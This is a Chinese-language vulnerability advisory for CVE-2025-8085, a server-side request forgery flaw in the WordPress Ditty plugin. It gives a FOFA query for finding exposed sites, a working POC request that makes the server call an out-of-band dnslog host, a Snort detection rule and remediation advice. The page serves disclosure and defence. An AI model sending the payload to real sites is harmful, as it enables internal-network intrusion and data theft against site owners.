WordPress_Ditty-CVE-2025-8085-SSRF漏洞¶

WordPress_Ditty-CVE-2025-8085-SSRF漏洞，攻击者可利用服务器端请求伪造（SSRF）漏洞，窃取敏感数据或攻击内网系统，导致内网渗透或数据泄露。

影响版本¶

WordPressDitty < 3.1.58

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：body="/wp-content/plugins/ditty-news-ticker/"

POC/EXP：

POST /wp-json/dittyeditor/v1/displayItems HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 425

{
  "apiData": {
    "layouts": [
      {
        "id": "abvde",
        "html": "{image default_src=\"http://333.0ddax8.dnslog.cn\"}",
        "css": "abvde"
      }
    ],
    "items": [
      {
        "item_id": "3377",
        "item_type": "default",
        "item_value": { "content": "abvde" },
        "layout_value": { "default": "abvde" }
      }
    ]
  }
}

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"WordPress Ditty - Server-Side Request Forgery (CVE-2025-8085)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-json/dittyeditor/v1/displayItems";
    http.header; content:"Content-Type: application/json";
    http.request_body; content:"\"default_src\":\"http://";
    pcre:"/\"default_src\":\"http:\/\/\d+\.\w+\.dnslog\.cn\"/i";
    metadata:
        cve CVE-2025-8085,
        service http,
        affected_product "WordPress Ditty Plugin",
        vulnerability_type "Server-Side Request Forgery",
        severity "high";
    classtype:web-application-attack;
    sid:1000509;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本。